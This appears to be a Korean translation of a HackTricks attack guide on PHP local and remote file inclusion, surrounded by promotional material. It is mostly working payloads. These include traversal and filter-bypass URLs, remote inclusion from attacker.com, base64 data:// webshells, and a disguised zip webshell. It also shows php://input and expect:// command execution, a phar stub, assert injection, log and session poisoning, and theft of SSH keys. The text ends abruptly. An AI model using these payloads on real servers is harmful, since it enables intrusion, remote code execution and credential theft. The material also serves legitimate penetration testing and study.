40 KiB
파일 포함/경로 탐색
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm를 팔로우하세요.
- Hacking Tricks를 공유하려면 PR을 HackTricks 및 HackTricks Cloud github 저장소에 제출하세요.
경험 많은 해커와 버그 바운티 헌터와 소통하려면 HackenProof Discord 서버에 가입하세요!
해킹 통찰력
해킹의 스릴과 도전을 탐구하는 콘텐츠와 상호 작용하세요.
실시간 해킹 뉴스
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요.
최신 공지사항
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 최신 정보를 받아보세요.
**Discord**에 참여하여 최고의 해커들과 협업을 시작하세요!
파일 포함
원격 파일 포함 (RFI): 파일이 원격 서버에서 로드됩니다 (최상: 코드를 작성하고 서버가 실행합니다). PHP에서는 기본적으로 이 기능이 비활성화되어 있습니다 (allow_url_include).
로컬 파일 포함 (LFI): 서버가 로컬 파일을 로드합니다.
이 취약점은 사용자가 서버에서 로드할 파일을 어떤 방식으로든 제어할 수 있는 경우 발생합니다.
취약한 PHP 함수: require, require_once, include, include_once
이 취약점을 악용하는 흥미로운 도구: https://github.com/kurobeats/fimap
Blind - 흥미로운 - LFI2RCE 파일
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
다양한 *nix LFI 목록을 섞고 추가 경로를 포함하여 다음 목록을 만들었습니다:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
/
를 \
로 변경해보세요
../../../../../
를 추가해보세요
취약점이 존재하는지 확인하기 위해 /etc/password 파일을 찾기 위해 여러 기법을 사용하는 목록은 여기에서 찾을 수 있습니다.
Windows
다른 단어 목록을 병합했습니다:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
/
를 \
로 변경해보세요
C:/
를 제거하고 ../../../../../
를 추가해보세요
취약점이 존재하는지 확인하기 위해 /boot.ini 파일을 찾기 위해 여러 기법을 사용하는 목록은 여기에서 찾을 수 있습니다.
OS X
Linux의 LFI 목록을 확인하세요.
기본 LFI 및 우회
모든 예제는 로컬 파일 포함(LFI)을 위한 것이지만 원격 파일 포함(RFI)에도 적용할 수 있습니다 (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
비재귀적으로 제거된 탐색 시퀀스
When performing file inclusion attacks, it is common to encounter input validation mechanisms that strip traversal sequences (such as "../" or "..") recursively. However, in some cases, these sequences may be stripped non-recursively, meaning that only the first occurrence of the sequence is removed.
파일 포함 공격을 수행할 때, 종종 재귀적으로 탐색 시퀀스 (예: "../" 또는 "..")를 제거하는 입력 유효성 검사 메커니즘을 만날 수 있습니다. 그러나 일부 경우에는 이러한 시퀀스가 비재귀적으로 제거될 수 있으며, 이는 시퀀스의 첫 번째 발생만 제거된다는 것을 의미합니다.
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null 바이트 (%00)
제공된 문자열의 끝에 추가 문자를 우회합니다 (우회 방법: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
이것은 PHP 5.4부터 해결되었습니다
인코딩
이중 URL 인코딩(및 기타)과 같은 비표준 인코딩을 사용할 수 있습니다:
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
기존 폴더에서
아마도 백엔드에서 폴더 경로를 확인하고 있을 것입니다:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
서버의 파일 시스템 디렉토리 탐색
서버의 파일 시스템은 특정 기법을 사용하여 파일뿐만 아니라 디렉토리도 재귀적으로 탐색할 수 있습니다. 이 과정은 디렉토리의 깊이를 확인하고 특정 폴더의 존재 여부를 조사하는 것을 포함합니다. 아래에는 이를 달성하기 위한 자세한 방법이 나와 있습니다:
- 디렉토리 깊이 확인:
현재 디렉토리의 깊이를 확인하기 위해
/etc/passwd
파일을 성공적으로 가져옵니다 (서버가 Linux 기반인 경우 해당). 예를 들어, 깊이가 세 개인 경우 다음과 같은 URL 구조를 가질 수 있습니다:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- 폴더 조사:
의심되는 폴더의 이름 (예:
private
)을 URL에 추가하고, 그런 다음/etc/passwd
로 돌아갑니다. 추가된 디렉토리 수준은 깊이를 하나 더 증가시키는 것을 요구합니다:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- 결과 해석: 서버의 응답은 폴더의 존재 여부를 나타냅니다:
- 오류 / 출력 없음:
private
폴더는 지정된 위치에 아마도 존재하지 않습니다. /etc/passwd
의 내용:private
폴더의 존재가 확인되었습니다.
- 재귀적 탐색: 발견된 폴더는 동일한 기술이나 전통적인 로컬 파일 포함 (LFI) 방법을 사용하여 하위 디렉토리나 파일을 더 탐색할 수 있습니다.
파일 시스템의 다른 위치에있는 디렉토리를 탐색하기 위해 페이로드를 조정하십시오. 예를 들어, 현재 디렉토리가 3단계인 경우 /var/www/
에 private
디렉토리가 있는지 확인하려면 다음과 같이 사용하십시오:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
패스 절단 기법
패스 절단은 웹 애플리케이션에서 파일 경로를 조작하는 방법입니다. 이는 파일 경로의 끝에 추가 문자를 추가하는 특정 보안 조치를 우회하여 제한된 파일에 액세스하는 데 자주 사용됩니다. 목표는 보안 조치에 의해 변경된 파일 경로가 여전히 원하는 파일을 가리키도록 파일 경로를 조작하는 것입니다.
PHP에서는 파일 시스템의 특성으로 인해 파일 경로의 다양한 표현이 동등하게 간주될 수 있습니다. 예를 들어:
/etc/passwd
,/etc//passwd
,/etc/./passwd
,/etc/passwd/
는 모두 동일한 경로로 처리됩니다.- 마지막 6자가
passwd
인 경우/
를 추가하면 (passwd/
), 대상 파일이 변경되지 않습니다. - 마찬가지로 파일 경로에
.php
가 추가된 경우 (shellcode.php
와 같은), 끝에/.
를 추가해도 액세스되는 파일이 변경되지 않습니다.
제공된 예제는 패스 절단을 활용하여 민감한 내용 (사용자 계정 정보) 때문에 일반적으로 대상으로 하는 /etc/passwd
에 액세스하는 방법을 보여줍니다.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
이러한 시나리오에서 필요한 탐색 횟수는 약 2027회일 수 있지만, 이 숫자는 서버의 구성에 따라 다를 수 있습니다.
-
도트 세그먼트와 추가 문자 사용: 탐색 시퀀스 (
../
)와 추가 도트 세그먼트 및 문자를 결합하여 파일 시스템을 탐색할 수 있으며, 서버에 의해 추가된 문자열을 무시하고 원하는 경로 (/etc/passwd
)를 유지할 수 있습니다. -
필요한 탐색 횟수 결정: 시행착오를 통해
../
시퀀스의 정확한 횟수를 찾아 루트 디렉토리로 이동한 다음/etc/passwd
로 이동하여.php
와 같은 추가된 문자열을 중화시키는 동시에 원하는 경로 (/etc/passwd
)를 유지할 수 있습니다. -
가짜 디렉토리로 시작:
a/
와 같은 존재하지 않는 디렉토리로 경로를 시작하는 것은 일반적인 방법입니다. 이 기술은 예방 조치 또는 서버의 경로 구문 분석 로직 요구 사항을 충족시키기 위해 사용됩니다.
경로 절단 기술을 사용할 때는 서버의 경로 구문 분석 동작과 파일 시스템 구조를 이해하는 것이 중요합니다. 각 시나리오마다 다른 접근 방식이 필요할 수 있으며, 가장 효과적인 방법을 찾기 위해 테스트가 종종 필요합니다.
이 취약점은 PHP 5.3에서 수정되었습니다.
필터 우회 트릭
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
원격 파일 포함
PHP에서는 기본적으로 이 기능이 비활성화되어 있습니다. allow_url_include
값이 Off로 설정되어 있기 때문입니다. 이 기능을 사용하려면 On으로 설정해야하며, 그 경우에는 서버에서 PHP 파일을 포함시켜 원격 코드 실행(RCE)을 할 수 있습니다.
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
만약 어떤 이유로 인해 **allow_url_include
**가 On이지만 PHP가 외부 웹페이지에 대한 액세스를 필터링하는 경우, 이 게시물에 따르면, 예를 들어 데이터 프로토콜과 base64를 사용하여 b64 PHP 코드를 디코딩하고 RCE를 얻을 수 있습니다:
{% code overflow="wrap" %}
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
{% endcode %}
{% hint style="info" %}
이전 코드에서 최종적으로 +.txt
가 추가된 이유는 공격자가 .txt
로 끝나는 문자열이 필요했기 때문입니다. 따라서 문자열은 그것으로 끝나고, b64 디코드 후에는 그 부분이 쓰레기 값으로 반환되고 실제 PHP 코드가 포함되어 (따라서 실행되어) 반환됩니다.
{% endhint %}
php://
프로토콜을 사용하지 않는 다른 예는 다음과 같습니다:
{% code overflow="wrap" %}
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
{% endcode %}
Python 루트 요소
파이썬에서 다음과 같은 코드가 있을 때:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
사용자가 **file_name
**에 절대 경로를 전달하면, 이전 경로는 그냥 제거됩니다:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
다음은 로컬 파일 포함(LFI) 취약점에 취약할 수 있는 상위 25개 매개변수 목록입니다(링크 참조):
- file
- page
- id
- path
- include
- document
- doc
- view
- content
- layout
- template
- style
- config
- data
- action
- load
- read
- write
- download
- log
- debug
- error
- language
- locale
- country
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
PHP 래퍼 및 프로토콜을 사용한 LFI / RFI
php://filter
PHP 필터는 데이터를 읽거나 쓰기 전에 기본적인 수정 작업을 수행할 수 있습니다. 필터에는 5가지 범주가 있습니다:
- 문자열 필터:
string.rot13
string.toupper
string.tolower
string.strip_tags
: 데이터에서 태그를 제거합니다 ("<"와 ">" 문자 사이의 모든 것)- 이 필터는 최신 버전의 PHP에서 사라졌음을 유의하세요.
- 변환 필터
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: 다른 인코딩으로 변환합니다(convert.iconv.<input_enc>.<output_enc>
). 지원되는 모든 인코딩 목록을 얻으려면 콘솔에서 다음을 실행하세요:iconv -l
{% hint style="warning" %}
convert.iconv.*
변환 필터를 남용하면 임의의 텍스트를 생성할 수 있으며, 임의의 텍스트를 작성하거나 함수를 만들어 임의의 텍스트를 포함하는 데 유용할 수 있습니다. 자세한 내용은 php 필터를 통한 LFI2RCE를 확인하세요.
{% endhint %}
- 압축 필터
zlib.deflate
: 내용을 압축합니다 (많은 정보를 유출하는 경우 유용)zlib.inflate
: 데이터를 압축 해제합니다.- 암호화 필터
mcrypt.*
: 사용 중단됨mdecrypt.*
: 사용 중단됨- 기타 필터
- php에서
var_dump(stream_get_filters());
를 실행하면 몇 가지 예상치 못한 필터를 찾을 수 있습니다: consumed
dechunk
: HTTP 청크 인코딩을 반전시킵니다.convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
{% hint style="warning" %} "php://filter" 부분은 대소문자를 구분하지 않습니다. {% endhint %}
php://fd
이 래퍼는 프로세스가 열어 놓은 파일 디스크립터에 액세스할 수 있게 해줍니다. 열린 파일의 내용을 유출하는 데 유용할 수 있습니다:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
php://stdin, php://stdout, 그리고 php://stderr를 사용하여 각각 파일 디스크립터 0, 1, 그리고 2에 접근할 수도 있습니다 (이것이 공격에 어떻게 유용할지는 확실하지 않습니다).
zip:// 그리고 rar://
PHPShell이 포함된 Zip 또는 Rar 파일을 업로드하고 액세스할 수 있습니다.
rar 프로토콜을 남용하기 위해서는 특별히 활성화되어야 합니다.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
data://는 파일 포함 취약점을 이용하여 웹 애플리케이션에서 데이터를 읽을 수 있는 프로토콜입니다. 이 취약점은 파일 경로에 사용자 입력을 포함시키는 경우 발생할 수 있습니다. 공격자는 이를 이용하여 시스템 파일이나 기타 중요한 데이터를 읽을 수 있습니다.
공격 기술
-
Null 바이트 삽입: 파일 경로에 Null 바이트를 삽입하여 파일 확장자를 우회하는 방법입니다. 예를 들어,
index.php%00.jpg
와 같이 파일 경로에 Null 바이트를 삽입하여 PHP 파일을 이미지 파일로 인식시킬 수 있습니다. -
디렉토리 트래버설: 파일 경로에 상위 디렉토리를 참조하는 상대 경로를 사용하여 파일을 읽을 수 있는 방법입니다. 예를 들어,
../../etc/passwd
와 같이 사용자 입력을 포함시켜 시스템 파일을 읽을 수 있습니다. -
서버 측 요청 위조(SSRF): 파일 경로에 원격 서버의 URL을 포함시켜 해당 서버의 파일을 읽을 수 있는 방법입니다. 예를 들어,
http://attacker.com/evil.txt
와 같이 사용자 입력을 포함시켜 악성 파일을 읽을 수 있습니다.
방어 대책
-
사용자 입력의 유효성을 검증하고 필터링하여 파일 경로에 악성 입력이 포함되지 않도록 합니다.
-
파일 경로에 절대 경로 대신 상대 경로를 사용하고, 상위 디렉토리 참조를 허용하지 않도록 설정합니다.
-
파일 시스템에서 중요한 파일에 대한 액세스 권한을 제한합니다.
-
웹 애플리케이션에서 파일 포함 취약점을 모니터링하고 로깅하여 시스템에 대한 공격을 탐지할 수 있도록 합니다.
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
주의사항: 이 프로토콜은 php 구성의 allow_url_open
및 **allow_url_include
**에 의해 제한됩니다.
expect://
Expect는 활성화되어야 합니다. 다음을 사용하여 코드를 실행할 수 있습니다:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
입력://
POST 매개변수에 페이로드를 지정하세요:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
웹 애플리케이션이 파일 로딩을 위해 include
와 같은 함수를 사용할 때, .phar
파일을 사용하여 PHP 코드를 실행할 수 있습니다. 아래에 제공된 PHP 코드 스니펫은 .phar
파일을 생성하는 방법을 보여줍니다:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
.phar
파일을 컴파일하려면 다음 명령을 실행해야 합니다:
php --define phar.readonly=0 create_path.php
실행 시 test.phar
라는 파일이 생성되며, 이를 통해 로컬 파일 포함 (LFI) 취약점을 악용할 수 있습니다.
LFI가 PHP 코드를 실행하지 않고 file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, 또는 filesize()
와 같은 함수를 통해 파일을 읽는 경우, 역직렬화 취약점을 악용할 수 있습니다. 이 취약점은 phar
프로토콜을 사용하여 파일을 읽는 것과 관련이 있습니다.
.phar
파일의 역직렬화 취약점을 악용하는 방법에 대한 자세한 이해를 위해 아래 문서를 참조하십시오:
Phar Deserialization Exploitation Guide
{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}
더 많은 프로토콜
가능한 포함할 수 있는 프로토콜을 확인하십시오:
- php://memory 및 php://temp — 메모리 또는 임시 파일에 작성 (파일 포함 공격에서 어떻게 유용할지는 확실하지 않음)
- file:// — 로컬 파일 시스템에 접근
- http:// — HTTP(s) URL에 접근
- ftp:// — FTP(s) URL에 접근
- zlib:// — 압축 스트림
- glob:// — 패턴과 일치하는 경로명 찾기 (출력 가능한 내용을 반환하지 않으므로 여기서는 실제로 유용하지 않음)
- ssh2:// — Secure Shell 2
- ogg:// — 오디오 스트림 (임의의 파일을 읽는 데 유용하지 않음)
PHP의 'assert'를 통한 LFI
PHP에서 'assert' 함수를 다룰 때 로컬 파일 포함 (LFI) 위험이 두드러집니다. 'assert' 함수는 문자열 내에서 코드를 실행할 수 있습니다. 특히, ".."과 같은 디렉토리 탐색 문자가 확인되지만 적절하게 살균되지 않는 경우 문제가 발생할 수 있습니다.
예를 들어, PHP 코드는 다음과 같이 디렉토리 탐색을 방지하도록 설계될 수 있습니다:
assert("strpos('$file', '..') === false") or die("");
이는 탐색을 막기 위한 것이지만, 우연히 코드 인젝션을 위한 벡터를 만들어냅니다. 파일 내용을 읽기 위해 이를 악용하기 위해 공격자는 다음을 사용할 수 있습니다:
' and die(highlight_file('/etc/passwd')) or '
마찬가지로, 임의의 시스템 명령을 실행하기 위해 다음을 사용할 수 있습니다:
' and die(system("id")) or '
URL-인코딩된 페이로드를 사용하는 것이 중요합니다.
경험 많은 해커와 버그 바운티 헌터와 소통하기 위해 HackenProof Discord 서버에 가입하세요!
해킹 인사이트
해킹의 스릴과 도전에 대해 자세히 알아보는 콘텐츠에 참여하세요.
실시간 해킹 뉴스
실시간 뉴스와 인사이트를 통해 빠르게 변화하는 해킹 세계를 따라가세요.
최신 공지사항
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 최신 정보를 받아보세요.
**Discord**에 가입하여 최고의 해커들과 협업을 시작하세요!
PHP Blind Path Traversal
{% hint style="warning" %}
이 기법은 파일 경로를 제어하지만 파일의 내용을 볼 수 없는 경우(예: **file()
**와 같은 간단한 호출)에 유용합니다.
{% endhint %}
이 놀라운 게시물에서는 PHP 필터를 통해 블라인드 경로 순회를 악용하여 파일의 내용을 에러 오라클을 통해 유출하는 방법이 설명되어 있습니다.
요약하자면, 이 기법은 "UCS-4LE" 인코딩을 사용하여 파일의 내용을 매우 크게 만들어 파일을 열 때 에러를 발생시킵니다.
그런 다음, 첫 번째 문자를 유출하기 위해 dechunk
필터와 base64 또는 rot13과 같은 다른 필터를 사용하고, 마지막으로 convert.iconv.UCS-4.UCS-4LE 및 convert.iconv.UTF16.UTF-16BE 필터를 사용하여 다른 문자를 시작 부분에 배치하고 유출합니다.
취약할 수 있는 함수: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (이 함수로만 읽기 전용 대상)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
기술적인 세부 정보는 언급된 게시물을 확인하세요!
LFI2RCE
원격 파일 포함
이전에 설명한 내용은 이 링크를 따르세요.
Apache/Nginx 로그 파일을 통한 방법
Apache 또는 Nginx 서버가 include 함수 내에서 LFI에 취약한 경우 **/var/log/apache2/access.log
또는 /var/log/nginx/access.log
**에 액세스하려고 시도할 수 있습니다. 사용자 에이전트 또는 GET 매개변수에 **<?php system($_GET['c']); ?>
**와 같은 PHP 쉘을 설정하고 해당 파일을 포함합니다.
{% hint style="warning" %} 쉘에 단일 따옴표 대신 이중 따옴표를 사용하는 경우, 이중 따옴표는 문자열 "quote;"로 수정되어 PHP에서 오류가 발생하고 다른 작업이 실행되지 않습니다.
또한, 페이로드를 올바르게 작성해야 합니다. 그렇지 않으면 PHP가 로그 파일을 로드할 때마다 오류가 발생하고 두 번째 기회가 없을 수 있습니다. {% endhint %}
이 작업은 다른 로그에서도 수행할 수 있지만, 로그 내부의 코드가 URL 인코딩되어 있을 수 있으므로 주의해야 합니다. 헤더 **authorisation "basic"**에는 Base64로 인코딩된 "user:password"가 포함되어 있으며 로그 내에서 디코딩됩니다. PHP 쉘을 이 헤더에 삽입할 수 있습니다.
기타 가능한 로그 경로:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
퍼징 워드리스트: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
이메일을 통해
내부 계정 (user@localhost)으로 PHP 페이로드인 <?php echo system($_REQUEST["cmd"]); ?>
를 포함한 메일을 보내고, /var/mail/<USERNAME>
또는 /var/spool/mail/<USERNAME>
경로로 사용자의 메일을 포함시켜보세요.
/proc/*/fd/*를 통해
- 많은 쉘을 업로드하세요 (예: 100개)
- http://example.com/index.php?page=/proc/$PID/fd/$FD를 포함시키세요. 여기서 $PID는 프로세스의 PID이며 (무차별 대입으로 찾을 수 있음), $FD는 파일 디스크립터입니다 (무차별 대입으로 찾을 수 있음).
/proc/self/environ을 통해
로그 파일과 같이 User-Agent에 페이로드를 보내면, /proc/self/environ 파일에 반영됩니다.
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
업로드를 통해
파일을 업로드할 수 있다면, 그 안에 쉘 페이로드를 삽입하세요 (예: <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
파일을 읽기 쉽게 유지하기 위해 사진/문서/PDF의 메타데이터에 주입하는 것이 가장 좋습니다.
Zip 파일 업로드를 통해
PHP 쉘을 압축한 ZIP 파일을 업로드하고 액세스하세요:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
PHP 세션을 통해
웹사이트가 PHP 세션 (PHPSESSID)을 사용하는지 확인합니다.
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
PHP에서 이러한 세션은 /var/lib/php5/sess\[PHPSESSID]_ 파일에 저장됩니다.
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
쿠키를 <?php system('cat /etc/passwd');?>
로 설정하세요.
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
파일 포함 (LFI)를 사용하여 PHP 세션 파일 포함하기
LFI (Local File Inclusion)는 웹 애플리케이션에서 발생할 수 있는 취약점 중 하나입니다. 이 취약점을 통해 공격자는 웹 서버의 로컬 파일 시스템에 있는 파일을 포함시킬 수 있습니다. 이를 통해 공격자는 시스템 파일에 악성 코드를 삽입하거나 중요한 정보를 유출할 수 있습니다.
PHP 세션 파일은 웹 애플리케이션에서 사용자의 세션 데이터를 저장하는 데 사용됩니다. 세션 파일에는 사용자의 인증 정보, 장바구니 내역 등 중요한 데이터가 포함될 수 있습니다. 따라서 PHP 세션 파일을 포함시키는 것은 공격자에게 중요한 정보를 노출시킬 수 있는 위험한 동작입니다.
LFI를 사용하여 PHP 세션 파일을 포함시키기 위해서는 다음과 같은 단계를 따를 수 있습니다:
- 취약한 웹 애플리케이션을 식별합니다. LFI 취약점을 찾을 수 있는 웹 페이지를 찾아야 합니다.
- LFI 취약점을 이용하여 PHP 세션 파일을 포함시킬 수 있는지 확인합니다. 일반적으로
php://input
이나php://filter
와 같은 특수한 PHP 스트림을 사용하여 파일을 포함시킬 수 있습니다. - LFI 취약점을 이용하여 PHP 세션 파일을 포함시킵니다. 이를 통해 세션 파일에 저장된 중요한 정보를 탈취할 수 있습니다.
LFI 취약점은 웹 애플리케이션에서 발생할 수 있는 심각한 보안 취약점 중 하나입니다. 따라서 웹 개발자는 적절한 입력 유효성 검사와 출력 필터링을 통해 이러한 취약점을 방지해야 합니다. 또한 웹 애플리케이션을 업데이트하여 최신 보안 패치를 적용하는 것도 중요합니다.
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
SSH를 통해
만약 ssh가 활성화되어 있다면, 어떤 사용자가 사용되고 있는지 확인하십시오 (/proc/self/status 및 /etc/passwd) 그리고 <HOME>/.ssh/id_rsa에 접근을 시도하십시오.
vsftpd 로그를 통해
FTP 서버 vsftpd의 로그는 **/var/log/vsftpd.log**에 위치합니다. LFI (Local File Inclusion) 취약점이 존재하고 노출된 vsftpd 서버에 접근할 수 있는 경우, 다음 단계를 고려할 수 있습니다:
- 로그인 과정 중에 사용자 이름 필드에 PHP 페이로드를 삽입합니다.
- 삽입 후, LFI를 사용하여 **/var/log/vsftpd.log**에서 서버 로그를 검색합니다.
php base64 필터를 통해 (base64를 사용하여)
이 기사에서 보여주는대로, PHP base64 필터는 비-Base64를 무시합니다. 이를 이용하여 파일 확장자 검사를 우회할 수 있습니다: 만약 ".php"로 끝나는 base64를 제공하면, "."을 무시하고 "php"를 base64에 추가합니다. 다음은 예시 페이로드입니다:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
php 필터를 통한 방법 (파일 필요 없음)
이 writeup은 php 필터를 사용하여 임의의 콘텐츠를 생성할 수 있다고 설명합니다. 이는 기본적으로 파일에 작성하지 않고도 임의의 php 코드를 생성할 수 있다는 것을 의미합니다.
{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}
Segmentation fault를 통한 방법
/tmp
에 임시로 저장될 파일을 업로드한 다음 동일한 요청에서 segmentation fault를 트리거하면 임시 파일이 삭제되지 않으므로 해당 파일을 찾을 수 있습니다.
{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}
Nginx 임시 파일 저장을 통한 방법
로컬 파일 포함을 찾았고 Nginx가 PHP 앞에서 실행되고 있다면 다음 기술을 사용하여 RCE를 얻을 수 있을 수도 있습니다:
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}
PHP_SESSION_UPLOAD_PROGRESS를 통한 방법
로컬 파일 포함을 찾았고 세션을 가지고 있지 않은 경우이며 session.auto_start
가 Off
인 경우에도 **PHP_SESSION_UPLOAD_PROGRESS
**를 multipart POST 데이터에 제공하면 PHP가 세션을 활성화합니다. 이를 악용하여 RCE를 얻을 수 있습니다:
{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}
Windows에서의 임시 파일 업로드를 통한 방법
